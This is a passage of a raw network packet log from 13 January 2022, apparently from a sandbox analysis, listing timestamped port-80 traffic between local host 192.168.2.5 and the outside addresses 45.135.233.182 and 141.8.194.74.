Jan 13, 2022 20:51:33.009900093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009919882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009951115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009990931 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.010031939 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.010901928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.010940075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011003971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011027098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011082888 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.011389971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011392117 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.011439085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011526108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.011534929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011636019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011673927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011703968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011712074 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.011734009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011771917 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.011799097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.011861086 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.011996984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012099028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012129068 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012156010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012172937 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.012188911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012212038 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.012218952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012248993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012280941 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.012300968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012370110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012373924 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.012408018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012439013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.012465954 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.063918114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.063958883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.063977003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.064001083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.064069033 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.064131975 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.067409992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.067442894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.067468882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.067508936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.067559958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.067564964 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.067584991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.067610979 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.067631006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.067635059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.067678928 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.068759918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.068800926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.068821907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.068860054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.068877935 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.068923950 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.069170952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069195032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069219112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069245100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069253922 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.069292068 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.069353104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069382906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069418907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069444895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069448948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.069508076 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.069559097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069654942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.069657087 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069693089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069720984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069761992 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.069775105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069817066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069840908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069869995 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.069892883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.069904089 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.070166111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.070224047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.070241928 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.070252895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.070311069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.070326090 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.070961952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.070998907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.071049929 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.118860006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.118916035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.118942022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.118967056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.118971109 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.119024992 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.122351885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122386932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122412920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122437000 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122461081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122477055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.122484922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122509003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.122509956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122534990 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.122535944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122554064 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.122564077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122586966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.122617960 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.123342037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.123373985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.123398066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.123431921 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.123440981 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.123467922 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.132010937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.173831940 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.173930883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.173970938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174004078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174053907 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.174123049 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.174231052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174268961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174293995 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174310923 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.174316883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174360037 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.174369097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174474955 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.174909115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174954891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.174978018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175023079 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175049067 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175223112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175263882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175288916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175302982 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175316095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175317049 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175343037 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175360918 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175367117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175401926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175438881 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175447941 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175455093 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175474882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175504923 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175520897 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175764084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175801992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.175842047 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.175865889 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177258015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177341938 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177347898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177382946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177408934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177469969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177491903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177500010 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177520037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177586079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177589893 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177612066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177634954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177634001 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177670956 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177692890 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177757978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177784920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.177805901 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.177824974 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.179450989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.179502010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.179524899 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.179534912 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.179548025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.179568052 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.179574966 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.179606915 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.205811977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.205905914 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.206537008 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.230540991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.230587006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.230612040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.230639935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.230648994 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.230665922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.230683088 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.230693102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.230721951 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.230730057 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.230752945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.231019020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.231082916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.232115030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.232150078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.232202053 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.232274055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.233220100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.233345032 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.234039068 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.234074116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.234124899 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.234560966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.280283928 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280452013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280483961 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280509949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280533075 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280555010 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280570030 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280596972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.280630112 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.280636072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280667067 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280683041 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.280693054 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280719042 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.280739069 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.280767918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.285165071 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.285233974 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.285279036 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.286830902 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.286858082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.286875963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.286891937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.286936045 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.286964893 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.287019968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287048101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287053108 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287070036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287070036 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.287116051 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.287364960 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287388086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287405014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287429094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287429094 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.287453890 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287456989 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.287480116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287501097 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.287503958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287530899 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287544966 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.287945032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287969112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.287986040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.288002968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.288013935 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.288036108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.288345098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.288376093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.288398027 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.289931059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.289972067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.289997101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.290019035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.290031910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.290052891 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.340688944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.340727091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.340823889 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.341370106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.341392994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.341409922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.341425896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.341456890 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.341495991 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.341578960 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.341598034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.341629028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.341633081 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.341648102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.341667891 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.342420101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.342442036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.342458963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.342473984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.342479944 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.342502117 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.342732906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.342753887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.342771053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.342781067 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.342787027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.342804909 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.343065023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.343085051 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.343101025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.343113899 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.343117952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.343136072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.343410969 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.343430996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.343466043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.351294041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.351331949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.351413965 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.354475975 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354505062 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354522943 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354540110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354556084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354572058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354578972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.354590893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354607105 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354623079 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.354656935 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.354666948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354685068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354702950 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354720116 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354734898 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354743958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.354753017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354769945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354783058 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.354787111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354795933 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.354804993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354820967 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354831934 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.354836941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.354863882 CET	49847	80	192.168.2.5	141.8.194.74
